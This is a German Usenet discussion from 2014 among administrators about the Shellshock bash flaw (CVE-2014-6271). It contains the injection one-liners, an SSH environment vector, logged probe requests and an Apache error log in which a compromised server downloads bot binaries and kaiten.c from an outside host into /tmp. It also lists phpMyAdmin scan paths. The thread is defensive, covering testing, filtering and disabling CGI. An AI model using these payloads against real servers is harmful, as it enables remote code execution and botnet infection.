Discussion:
Shellshock
(zu alt für eine Antwort)
Juergen P. Meier
2014-09-26 05:06:41 UTC
Permalink
Da ist (oder war) ein Bug, der auf
<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271> wie folgt
| GNU Bash through 4.3 processes trailing strings after function
| definitions in the values of environment variables, which allows remote
| attackers to execute arbitrary code via a crafted environment, as
| demonstrated by vectors involving the ForceCommand feature in OpenSSH
| sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server,
| scripts executed by unspecified DHCP clients, and other situations in
| which setting the environment occurs across a privilege boundary from
| Bash execution.
So könnten also Webserver, die CGI-Skripte ausführen, angreifbar sein.
*JEDER* Webserver, der CGI-*Shells*cripte (direkt oder indirekt aus
anderen Scriptesprachen oder CGI-Programmen heraus die kein
vollstaendiges ENV-Scrubbing betreibend) ausfuehrt ist angreifbar.

Es gibt auch schon Botnetze die ungezielt nach solchen scannen, es ist
alos eine Frage der Zeit (nicht viel!) bis jeder Server erwischt wird.
Zum Testen, ob man verwundbar ist, kann man
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
ausführen.
Das prueft, ob die Shell verwundbar ist, ja. Dann muss man noch
schauen, ob es einem nicht-autorisierten Fremden moeglich ist,
irgendwie eine bash starten zu lassen, deren Environment er vorgeben
kann.

Webserver mit CGI sind ein Haupteinfallstor dafuer (weil sie eben
ausdruecklich alle moeglichen HTTP-Headerinfos die vom Angreifer
vorgegeben werden ungefiltert in das ENV der CGI-Programme schreiben,
wenn die dann irgendwo eine bash starten (AUCH INDIREKT per system()
syscall!), hat man verloren.

SSH erlaubt per Default ebenfalls einem Remote-User das ENV
vorzugeben:

LC_EXPLOIT='() { :;}; touch vulnerable' ssh ***@remote -c "echo hi"

Das kann man ganz einfach abschalten, in dem man die Zeile
AcceptEnv=LANG LC_*
aus sshd_config auskommentiert und den sshd service reloaded.
Relevant ist das eh nur fuer shell-boxen wo die erlaubten Kommandos
eingeschraenkt sind (z.B. sftp-only accounts), weil das Kommando
mit den Rechten des USers ausgefuehrt wird.

Sudo filtert schon lange ENV-Variablen mit () im value. Ich muesste
mal nachschauen, was die Sudo-leute damals dazu veranlasst hat, evtl.
ist dieser Fehler garnicht so lange unentdeckt geblieben.

Fuer Code-Analysen ist der "system()" syscall zu flaggen (und alle die
system() aufrufen), insbesondere wenn davor kein ENV-Scrubbing
stattfindet (z.B. u.A. alle ENV variablen loeschen die ( und ) enthalten).

Ebenso natuerlich wie jede Form von exec*("*sh",*).
Bei vielen GNU verseuchten Unixoiden ist die bash schilesslich auch /bin/sh.
Was mich allerdings wundert ist, dass es "Ewigkeiten" dauerte, bis es auf
Debian Testing (müsste gerade Jessie sein) hier eben der Fix kam, während
Vorallem weil die Debian-maintainer zu aller erst informiert wurden.
Vor allen andern.
Bekannte auf SuSE, Redhat/Fedora und gar Debian Wheezy schon vor Stunden
berichteten, dass der Fix kam.
X'post de.comp.os.unix.shell, de.comp.os.unix.linux.misc,
de.comm.software.webserver
F'up de.comp.os.unix.linux.misc
Ignored, das ist kein Linux-spezifisches Thema.
Nach dcsm umgebogen, wo dieses Thema am meisten OnTopic ist.

Juergen
--
Juergen P. Meier - "This World is about to be Destroyed!"
end
If you think technology can solve your problems you don't understand
technology and you don't understand your problems. (Bruce Schneier)
Marcel Mueller
2014-09-27 10:43:19 UTC
Permalink
Post by Juergen P. Meier
Sudo filtert schon lange ENV-Variablen mit () im value. Ich muesste
mal nachschauen, was die Sudo-leute damals dazu veranlasst hat, evtl.
ist dieser Fehler garnicht so lange unentdeckt geblieben.
Jetzt wird es interessant. Hast Du Details?


Marcel
Stefan Reuther
2014-09-27 16:06:38 UTC
Permalink
Post by Marcel Mueller
Post by Juergen P. Meier
Sudo filtert schon lange ENV-Variablen mit () im value. Ich muesste
mal nachschauen, was die Sudo-leute damals dazu veranlasst hat, evtl.
ist dieser Fehler garnicht so lange unentdeckt geblieben.
Jetzt wird es interessant. Hast Du Details?
LMGTFY:

http://lwn.net/Articles/111484/
http://www.sudo.ws/sudo/alerts/bash_functions.html
http://www.sudo.ws/repos/sudo/rev/9e5090c8284f

Knapp 10 Jahre her...


Stefan
Juergen P. Meier
2014-09-27 19:19:06 UTC
Permalink
Post by Marcel Mueller
Post by Juergen P. Meier
Sudo filtert schon lange ENV-Variablen mit () im value. Ich muesste
mal nachschauen, was die Sudo-leute damals dazu veranlasst hat, evtl.
ist dieser Fehler garnicht so lange unentdeckt geblieben.
Jetzt wird es interessant. Hast Du Details?
Man findet im Changelog von sudo einen Eintrag vom 11.11.2004
Juergen Kah
2014-10-08 10:57:21 UTC
Permalink
Post by Juergen P. Meier
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Das prueft, ob die Shell verwundbar ist,
Was würde folgender Zugriff machen, so er "erlaubt" gewesen wäre? Davon
hab ich inzwischen mehrere, bei mir bekommt solch Schrott schon lange
per .htaccess "403", aber laut Antwort meines Providers ist der auch
zusätzlich tätig gewesen ;-)

"GET /?x=() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr
1330 + 7`H; HTTP/1.0" 403 27 #meine-seite-de# "() { :; }; echo
Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;" "() { :; };
echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;"

a) was _hätte_ der GET gemacht? Hab ich bislang auch mit vielem Lesen
(inkl. Heise) noch nicht verstanden.

b) Referer und Agent haben beide identische Parameter mit dem Zeugs,
warum so viele "echo"?
Ich hab gelesen, dass auch die Ref-/Agent-Parameter irgendwie im System
ausführbar wären... gab/gibt es dafür einen realen Sinn?

Übrigens, die Herkunft dieser GETs ist auch interessant ;-)
205.186.134.213 thewineconsultant.com MEDIATEMPLE usa (mehrfach)
116.193.76.20 sv20.quangtrungdc.name.vn
192.3.138.103 host.colocrossing.com Hudson Valley Host usa

gehören die zu einem Botnetz oder sind das "gezielte" Proben? Wer
schnüffelt gegen wen? ;-)

Eine IP aus .vn (!) war auch zusammen mit IPs aus .il, .cn, .mx, .ar,
.co, .tw, .br, .pe an anderen "Versuchen" beteiligt. Auch eine
interessante Kombination.

Jürgen
Juergen Kah
2014-10-08 12:07:40 UTC
Permalink
Post by Juergen P. Meier
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Das prueft, ob die Shell verwundbar ist,
Was würde folgender Zugriff machen, so er "erlaubt" gewesen wäre? Davon
hab ich inzwischen mehrere, bei mir bekommt solch Schrott schon lange
per .htaccess "403", aber laut Antwort meines Providers ist der auch
zusätzlich tätig gewesen

"GET /?x=() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr
1330 + 7`H; HTTP/1.0" 403 27 #meine-seite-de# "() { :; }; echo
Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;" "() { :; };
echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;"

a) was _hätte_ der GET gemacht? Hab ich bislang auch mit vielem Lesen
(inkl. Heise) noch nicht verstanden.

b) Referer und Agent haben beide identische Parameter mit dem Zeugs,
warum so viele "echo"?
Ich hab gelesen, dass auch die Ref-/Agent-Parameter irgendwie im System
ausführbar wären... gab/gibt es dafür einen realen Sinn?

Übrigens, die Herkunft dieser GETs ist auch interessant
205.186.134.213 thewineconsultant.com MEDIATEMPLE usa (mehrfach)
116.193.76.20 sv20.quangtrungdc.name.vn
192.3.138.103 host.colocrossing.com Hudson Valley Host usa

gehören die zu einem Botnetz oder sind das "gezielte" Proben? Wer
schnüffelt gegen wen?

Eine IP aus .vn (!) war auch zusammen mit IPs aus .il, .cn, .mx, .ar,
.co, .tw, .br, .pe an anderen "Versuchen" beteiligt. Auch eine
interessante Kombination.

Jürgen
Lutz Donnerhacke
2014-10-08 13:05:37 UTC
Permalink
Post by Juergen Kah
"GET /?x=() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr
1330 + 7`H; HTTP/1.0" 403 27 #meine-seite-de# "() { :; }; echo
Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;" "() { :; };
echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;"
a) was _hätte_ der GET gemacht? Hab ich bislang auch mit vielem Lesen
(inkl. Heise) noch nicht verstanden.
Er hätte zurückgegeben:
-----
Content-Type:text/plain


M1337H
-----
Post by Juergen Kah
b) Referer und Agent haben beide identische Parameter mit dem Zeugs,
warum so viele "echo"?
Um den HTTP Header vom Content zu trennen.
Post by Juergen Kah
Ich hab gelesen, dass auch die Ref-/Agent-Parameter irgendwie im System
ausführbar wären... gab/gibt es dafür einen realen Sinn?
Jede Umgebungsvariable, die von einer Bash vorgefunden wird, kann diesen
Effekt auslösen. Die CGI Norm schreibt eine ganze Latte solcher Variablen
vor, die der Webserver setzen muß.

Das gilt auch, wenn Nicht-CGI-Scripte (wie PHP) laufen. Wenn die dann eine
Bash ausführen, sei es durch system/popen via /bin/sh oder durch Aufruf von
Wrapperscripten wie gunzip, tritt die Wirkung ein.
Florian Weimer
2014-10-08 15:35:00 UTC
Permalink
Post by Lutz Donnerhacke
Das gilt auch, wenn Nicht-CGI-Scripte (wie PHP) laufen. Wenn die dann eine
Bash ausführen, sei es durch system/popen via /bin/sh oder durch Aufruf von
Wrapperscripten wie gunzip, tritt die Wirkung ein.
Das hängt stark davon ab, wie PHP-Skripte ausgeführt werden. Bei
mod_php werden die Umgebungsvariablen z.B. nicht umgeschrieben.
Willi Marquart
2014-10-08 16:42:28 UTC
Permalink
Post by Florian Weimer
Post by Lutz Donnerhacke
Das gilt auch, wenn Nicht-CGI-Scripte (wie PHP) laufen. Wenn die dann eine
Bash ausführen, sei es durch system/popen via /bin/sh oder durch Aufruf von
Wrapperscripten wie gunzip, tritt die Wirkung ein.
Das hängt stark davon ab, wie PHP-Skripte ausgeführt werden. Bei
mod_php werden die Umgebungsvariablen z.B. nicht umgeschrieben.
Nachdem mir hier von 3 öffentlich zugänglichen Webservern bei zweien
die Bash-Lücke ausgenutzt wurde, bin ich doch etwas verschreckt.

Für 2 gab es ein Bash-Update, aber der dritte macht mir Probleme.

Den kann ich nicht einfach abschalten, unsere Mitabeiter geben da
ihrer Arbeitszeiten ein, das ist alles PHP4, läuft unter Suse 8.2 in
einer VM und ich hab da keinen Einfluß drauf.

Wie macht man sowas dicht, ohne die Erreichbarkeit von aussen
abzuschalten und ohne Bash-Patch?

Gruß Willi
Lutz Donnerhacke
2014-10-08 16:55:05 UTC
Permalink
Post by Willi Marquart
Wie macht man sowas dicht, ohne die Erreichbarkeit von aussen
abzuschalten und ohne Bash-Patch?
Reverse Proxy davor und Filtern.
Willi Marquart
2014-10-08 17:34:56 UTC
Permalink
Post by Lutz Donnerhacke
Post by Willi Marquart
Wie macht man sowas dicht, ohne die Erreichbarkeit von aussen
abzuschalten und ohne Bash-Patch?
Reverse Proxy davor und Filtern.
Mit was auf was filtern?

Gruß Willi
Florian Weimer
2014-10-08 17:58:32 UTC
Permalink
Post by Willi Marquart
Post by Lutz Donnerhacke
Post by Willi Marquart
Wie macht man sowas dicht, ohne die Erreichbarkeit von aussen
abzuschalten und ohne Bash-Patch?
Reverse Proxy davor und Filtern.
Mit was auf was filtern?
Die vier Zeichen "() {" am Anfang von
Request-Method/URI/Protokoll/Header.
Florian Weimer
2014-10-08 17:57:16 UTC
Permalink
Post by Willi Marquart
Post by Florian Weimer
Post by Lutz Donnerhacke
Das gilt auch, wenn Nicht-CGI-Scripte (wie PHP) laufen. Wenn die dann eine
Bash ausführen, sei es durch system/popen via /bin/sh oder durch Aufruf von
Wrapperscripten wie gunzip, tritt die Wirkung ein.
Das hängt stark davon ab, wie PHP-Skripte ausgeführt werden. Bei
mod_php werden die Umgebungsvariablen z.B. nicht umgeschrieben.
Nachdem mir hier von 3 öffentlich zugänglichen Webservern bei zweien
die Bash-Lücke ausgenutzt wurde, bin ich doch etwas verschreckt.
Wie das? Bei PHP? Interessant.
Post by Willi Marquart
Für 2 gab es ein Bash-Update, aber der dritte macht mir Probleme.
Den kann ich nicht einfach abschalten, unsere Mitabeiter geben da
ihrer Arbeitszeiten ein, das ist alles PHP4, läuft unter Suse 8.2 in
einer VM und ich hab da keinen Einfluß drauf.
Erst mal testen, ob es überhaupt betroffen ist. Wenn ja, das
Source-RPM mit Patches neu bauen.

Gibt es von SuSE wirklich kein Update auf Kulanzbasis, oder ist das
kein SLES?
Willi Marquart
2014-10-09 06:34:33 UTC
Permalink
Post by Florian Weimer
Post by Willi Marquart
Nachdem mir hier von 3 öffentlich zugänglichen Webservern bei zweien
die Bash-Lücke ausgenutzt wurde, bin ich doch etwas verschreckt.
Wie das? Bei PHP? Interessant.
Bei dem SuSE-8.2-Schätzchen lief das wohl über CGI. Im Access.log fand
sich:
----------------------------------------------------------------------
60.28.24.241 - - [27/Sep/2014:23:51:22 +0200] "GET /cgi-bin/test-cgi
HTTP/1.0" 200 478
60.28.24.241 - - [27/Sep/2014:23:53:02 +0200] "GET /cgi-bin/test-cgi
HTTP/1.0" 200 478
60.28.24.241 - - [27/Sep/2014:23:51:26 +0200] "GET /cgi-bin/test-cgi
HTTP/1.0" 200 478
60.28.24.241 - - [27/Sep/2014:23:53:03 +0200] "GET /cgi-bin/test-cgi
HTTP/1.0" 500 689
----------------------------------------------------------------------
Der Rest stand dann seltsamerweise im Error.log, obwohl das ja wohl
alles ausgeführt wurde:
----------------------------------------------------------------------
[Sat Sep 27 23:56:32 2014] [error] [client 60.28.24.241] (70007)The
timeout specified has expired: ap_content_length_filter:
apr_bucket_read() failed
[Sat Sep 27 23:58:03 2014] [error] [client 60.28.24.241] Premature end
of script headers: test-cgi
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] --23:53:03--
http://stablehost.us/bots/regular.bot
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] =>
`/tmp/sh'
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] Resolving
stablehost.us... done.
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] Connecting to
stablehost.us[142.0.41.57]:80... connected.
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] HTTP request
sent, awaiting response... 200 OK
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] Length: 701
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241]
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] 0K 100%
684.57 KB/s
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241]
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] 23:53:03
(684.57 KB/s) - `/tmp/sh' saved [701/701]
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241]
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] % Total %
Received % Xferd Average Speed Time Curr.
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] Dload Upload
Total Current Left Speed
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241]
100 701 100 701 0 0 3034 0 0:00:00 0:00:00
0:00:00 3034
100 701 100 701 0 0 3034 0 0:00:00 0:00:00
0:00:00 0
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] --23:53:04--
http://stablehost.us/bots/kaiten.c
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] =>
`/tmp/a.c'
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] Resolving
stablehost.us... done.
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] Connecting to
stablehost.us[142.0.41.57]:80... connected.
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] HTTP request
sent, awaiting response... 200 OK
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] Length:
39,130 [text/x-csrc]
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241]
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] 0K
.......... .......... .......... ........ 100% 161.92
KB/s
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241]
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] 23:53:04
(161.92 KB/s) - `/tmp/a.c' saved [39130/39130]
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241]
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] % Total %
Received % Xferd Average Speed Time Curr.
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] Dload Upload
Total Current Left Speed
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241]
2 39130 2 1157 0 0 4944 0 0:00:07 0:00:00
0:00:07 4944
17 39130 17 6717 0 0 19246 0 0:00:02 0:00:00
0:00:01 48347
100 39130 100 39130 0 0 82727 0 0:00:00 0:00:00
0:00:00 154k
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] --23:53:05--
http://stablehost.us/bots/a
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] =>
`/tmp/a'
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] Resolving
stablehost.us... done.
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] Connecting to
stablehost.us[142.0.41.57]:80... connected.
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] HTTP request
sent, awaiting response... 200 OK
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] Length:
982,256
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241]
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] 0K
.......... .......... .......... .......... .......... 5% 197.63
KB/s
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] 50K
.......... .......... .......... .......... .......... 10% 219.30
KB/s
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] 950K
......... 100% 1.13
MB/s
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241]
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] 23:53:09
(268.17 KB/s) - `/tmp/a' saved [982256/982256]
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241]
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] % Total %
Received % Xferd Average Speed Time Curr.
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] Dload Upload
Total Current Left Speed
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241]
0 959k 0 1182 0 0 4904 0 0:03:20 0:00:00
0:03:20 4904
15 959k 15 153k 0 0 161k 0 0:00:05 0:00:00
0:00:04 214k
43 959k 43 413k 0 0 218k 0 0:00:04 0:00:01
0:00:02 249k
73 959k 73 705k 0 0 245k 0 0:00:03 0:00:02
0:00:01 267k
100 959k 100 959k 0 0 251k 0 0:00:03 0:00:03
0:00:00 267k
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] /tmp/sh: line
12: /tmp/a: cannot execute binary file
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] --23:53:12--
http://stablehost.us/bots/darwin
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] =>
`/tmp/d'
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] Resolving
stablehost.us... done.
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] Connecting to
stablehost.us[142.0.41.57]:80... connected.
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] HTTP request
sent, awaiting response... 200 OK
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] Length:
42,436
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241]
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] 0K
.......... .......... .......... .......... . 100% 40.47
MB/s
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241]
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] 00:03:03
(40.47 MB/s) - `/tmp/d' saved [42436/42436]
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241]
[Sun Sep 28 00:03:04 2014] [error] [client 60.28.24.241] % Total %
Received % Xferd Average Speed Time Curr.
[Sun Sep 28 00:03:04 2014] [error] [client 60.28.24.241] Dload Upload
Total Current Left Speed
[Sun Sep 28 00:03:04 2014] [error] [client 60.28.24.241]
2 42436 2 1184 0 0 5016 0 0:00:08 0:00:00
0:00:08 5016
100 42436 100 42436 0 0 73039 0 0:00:00 0:00:00
0:00:00 116k
[Sun Sep 28 00:03:04 2014] [error] [client 60.28.24.241] /tmp/sh: line
17: /tmp/d: cannot execute binary file
[Sun Sep 28 00:03:04 2014] [error] [client 60.28.24.241] --00:03:04--
http://stablehost.us/bots/pl
[Sun Sep 28 00:03:04 2014] [error] [client 60.28.24.241] =>
`/tmp/pl'
[Sun Sep 28 00:03:04 2014] [error] [client 60.28.24.241] Resolving
stablehost.us... done.
[Sun Sep 28 00:03:04 2014] [error] [client 60.28.24.241] Connecting to
stablehost.us[142.0.41.57]:80... connected.
[Sun Sep 28 00:03:04 2014] [error] [client 60.28.24.241] HTTP request
sent, awaiting response... 200 OK
[Sun Sep 28 00:03:04 2014] [error] [client 60.28.24.241] Length:
66,395
[Sun Sep 28 00:03:04 2014] [error] [client 60.28.24.241]
[Sun Sep 28 00:03:05 2014] [error] [client 60.28.24.241] 0K
.......... .......... .......... .......... .......... 77% 141.24
KB/s
[Sun Sep 28 00:03:05 2014] [error] [client 60.28.24.241] 50K
.......... .... 100% 132.49
KB/s
[Sun Sep 28 00:03:05 2014] [error] [client 60.28.24.241]
[Sun Sep 28 00:03:05 2014] [error] [client 60.28.24.241] 00:03:05
(139.14 KB/s) - `/tmp/pl' saved [66395/66395]
[Sun Sep 28 00:03:05 2014] [error] [client 60.28.24.241]
[Sun Sep 28 00:03:05 2014] [error] [client 60.28.24.241] % Total %
Received % Xferd Average Speed Time Curr.
[Sun Sep 28 00:03:05 2014] [error] [client 60.28.24.241] Dload Upload
Total Current Left Speed
[Sun Sep 28 00:03:05 2014] [error] [client 60.28.24.241]
1 66395 1 1183 0 0 5121 0 0:00:12 0:00:00
0:00:12 5121
100 66395 100 66395 0 0 96364 0 0:00:00 0:00:00
0:00:00 139k
----------------------------------------------------------------------
Post by Florian Weimer
Gibt es von SuSE wirklich kein Update auf Kulanzbasis, oder ist das
kein SLES?
Das ist SuSE Linux 8.2 (i586) von 2002. Ich will das eigentlich
schnellstmöglich entsorgen und nicht updaten. Nur bis dahin soll sich
da niemand mehr reinhängen können.

Gruß Willi
Florian Weimer
2014-10-09 07:17:30 UTC
Permalink
Post by Willi Marquart
Post by Florian Weimer
Post by Willi Marquart
Nachdem mir hier von 3 öffentlich zugänglichen Webservern bei zweien
die Bash-Lücke ausgenutzt wurde, bin ich doch etwas verschreckt.
Wie das? Bei PHP? Interessant.
Bei dem SuSE-8.2-Schätzchen lief das wohl über CGI. Im Access.log fand
----------------------------------------------------------------------
60.28.24.241 - - [27/Sep/2014:23:51:22 +0200] "GET /cgi-bin/test-cgi
HTTP/1.0" 200 478
60.28.24.241 - - [27/Sep/2014:23:53:02 +0200] "GET /cgi-bin/test-cgi
HTTP/1.0" 200 478
60.28.24.241 - - [27/Sep/2014:23:51:26 +0200] "GET /cgi-bin/test-cgi
HTTP/1.0" 200 478
60.28.24.241 - - [27/Sep/2014:23:53:03 +0200] "GET /cgi-bin/test-cgi
HTTP/1.0" 500 689
----------------------------------------------------------------------
Und dieses test-cgi ist Teil der PHP-Anwendung?
Post by Willi Marquart
Post by Florian Weimer
Gibt es von SuSE wirklich kein Update auf Kulanzbasis, oder ist das
kein SLES?
Das ist SuSE Linux 8.2 (i586) von 2002. Ich will das eigentlich
schnellstmöglich entsorgen und nicht updaten. Nur bis dahin soll sich
da niemand mehr reinhängen können.
Du könntest versuchsweise die CGI-Unterstützung in Apache abschalten.
Vielleicht berührt das die Webanwendung nicht. Es schränkt die
Angriffsmöglichkeiten deutlich ein.
Willi Marquart
2014-10-09 07:56:05 UTC
Permalink
Post by Florian Weimer
Post by Willi Marquart
----------------------------------------------------------------------
60.28.24.241 - - [27/Sep/2014:23:51:22 +0200] "GET /cgi-bin/test-cgi
HTTP/1.0" 200 478
----------------------------------------------------------------------
Und dieses test-cgi ist Teil der PHP-Anwendung?
Nein, der Zugriff auf den Ordner cgi-bin war in der httpd.conf
standardmäßig aktiviert.
Post by Florian Weimer
Du könntest versuchsweise die CGI-Unterstützung in Apache abschalten.
Vielleicht berührt das die Webanwendung nicht. Es schränkt die
Angriffsmöglichkeiten deutlich ein.
Das hab ich natürlich sofort gemacht, seit dem scheint Ruhe zu sein.
Aber man weiss ja nie ...

Gruß Willi
Helmut Hullen
2014-10-09 09:50:00 UTC
Permalink
Hallo, Florian,
Post by Florian Weimer
Post by Willi Marquart
Post by Florian Weimer
Post by Willi Marquart
Nachdem mir hier von 3 öffentlich zugänglichen Webservern bei
zweien die Bash-Lücke ausgenutzt wurde, bin ich doch etwas
verschreckt.
Wie das? Bei PHP? Interessant.
Bei dem SuSE-8.2-Schätzchen lief das wohl über CGI. Im Access.log
--------------------------------------------------------------------
-- 60.28.24.241 - - [27/Sep/2014:23:51:22 +0200] "GET
/cgi-bin/test-cgi HTTP/1.0" 200 478
[...]
Post by Florian Weimer
Und dieses test-cgi ist Teil der PHP-Anwendung?
Das gehört (allemal bei Slackware) zum "httpd"-Paket.
Schau Dir mal die Kopfzeilen (insbesondere die Kommentarzeilen) an.

Viele Gruesse!
Helmut
Jens Hektor
2014-10-09 09:29:25 UTC
Permalink
Post by Willi Marquart
----------------------------------------------------------------------
Der Rest stand dann seltsamerweise im Error.log, obwohl das ja wohl
----------------------------------------------------------------------
da sollte man bei Webserver öfter drauf gucken.

Wenn (wie hier) "wget" Output auftaucht,
ist in der Regel was passiert :-/
Willi Marquart
2014-10-09 09:45:38 UTC
Permalink
Post by Jens Hektor
Post by Willi Marquart
----------------------------------------------------------------------
Der Rest stand dann seltsamerweise im Error.log, obwohl das ja wohl
----------------------------------------------------------------------
da sollte man bei Webserver öfter drauf gucken.
Ja, scheint so.
Post by Jens Hektor
Wenn (wie hier) "wget" Output auftaucht,
ist in der Regel was passiert :-/
Bisher hatte ich den naiven Glauben, was ausgeführt wird, erscheint im
access.log, was nicht ausgeführt wird, erscheint im error.log. Aber
man lernt nie aus...

Gruß Willi
Helmut Hullen
2014-10-09 10:23:00 UTC
Permalink
Hallo, Willi,
Post by Willi Marquart
Post by Jens Hektor
Wenn (wie hier) "wget" Output auftaucht,
ist in der Regel was passiert :-/
Bisher hatte ich den naiven Glauben, was ausgeführt wird, erscheint
im access.log, was nicht ausgeführt wird, erscheint im error.log.
Aber man lernt nie aus...
Nur ergänzend: eben habe ich per

grep setup.php access_log

(die Datei heisst hier "access_log") einen Host erwischt, der 83 Mal
versucht hatte, irgendein Setup-Skript auszuführen. Kein Eintrag in
"error_log". In der "access_log" wurde glücklicherweise jeder Versuch
mit "404" quittiert.

Viele Gruesse!
Helmut
Juergen Kah
2014-10-09 14:24:41 UTC
Permalink
Post by Helmut Hullen
einen Host erwischt, der 83 Mal
versucht hatte, irgendein Setup-Skript auszuführen. Kein Eintrag in
"error_log". In der "access_log" wurde glücklicherweise jeder Versuch
mit "404" quittiert.
Ich kann eine IP mit 84 Versuchen beisteuern aus 2011

79.142.64.202 IP von hosted-by.altushost.com (NL)
Damals sassen Registrant und Admin in Belize und wurden betitelt "the
ultimate spam flooder".

Einige Beispiele von denen
GET //mysql-admin/scripts/setup.php
GET //admin/phpmyadmin/scripts/setup.php
GET //dbadmin/scripts/setup.php
GET //myadmin/scripts/setup.php
GET //mysql/scripts/setup.php
GET //phpadmin/scripts/setup.php
GET //web/phpMyAdmin/scripts/setup.php
GET //xampp/phpmyadmin/scripts/setup.php
GET //web/scripts/setup.php
GET //phpMyAdmin-2.5.4/scripts/setup.php
GET //phpMyAdmin-2.5.5-rc1/scripts/setup.php
GET //p/m/a/scripts/setup.php
GET //PMA2005/scripts/setup.php
GET //phpmanager/scripts/setup.php
GET //php-myadmin/scripts/setup.php
GET //phpmy-admin/scripts/setup.php
GET //sqlweb/scripts/setup.php

Damals genau dieselben Zugriffe (sogar gleicher Agent) von
193.43.92.39 peaceofcake.eu (BE)
85.114.137.57 indigo.fastwebserver.de

ähnliches mit einigen Abwandlungen, aber ganz ohne Agent
209.126.222.75 lowesthosting.com usa carinet/san-diego
die suchten auch nach
GET /muieblackcat HTTP/1.1" 403 39 (hab ich ausserdem nicht)

später wurde modifiziert mit einem Referrer identisch wie der GET
213.195.80.73 ibercom.com Spanien
GET /myadmin//scripts/setup.php HTTP/1.1"
301 247 meine-seite "meine-seite/myadmin//scripts/setup.php"
hat nix gekriegt, trotzdem danach mit POST versucht.

Im April 2014 kam fast identisch wie 209.126.222.75
108.168.144.195 root.nextsin.com rdns aber 192.155.250.174
108.168.144.195 Softlayer USA, 192.155.250.174 auch Softlayer

Neuerdings werden nicht mehr so viele Tests "en bloc" gemacht ;-)

Jürgen
Stefan Reuther
2014-10-09 16:49:02 UTC
Permalink
Post by Willi Marquart
Post by Jens Hektor
Wenn (wie hier) "wget" Output auftaucht,
ist in der Regel was passiert :-/
Bisher hatte ich den naiven Glauben, was ausgeführt wird, erscheint im
access.log, was nicht ausgeführt wird, erscheint im error.log. Aber
man lernt nie aus...
Im error.log landet das stderr von CGI-Scripten. Das ist normalerweise
ein Fehler, da korrekte CGI-Script nur auf stdout ausgeben.

Außerdem muss natürlich ein CGI-Script auch eine CGI-konforme Ausgabe
bringen, sprich: mit HTTP-Headern beginnen (und nicht mit einer wget-
Bannerzeile). Wenn das nicht der Fall ist, sendet der Webserver
mindestens einen Fehler 500 an den Browser, und vermutlich auch ein
wenig Text ins error.log.


Stefan
Juergen P. Meier
2014-10-10 03:48:28 UTC
Permalink
Post by Jens Hektor
Post by Willi Marquart
----------------------------------------------------------------------
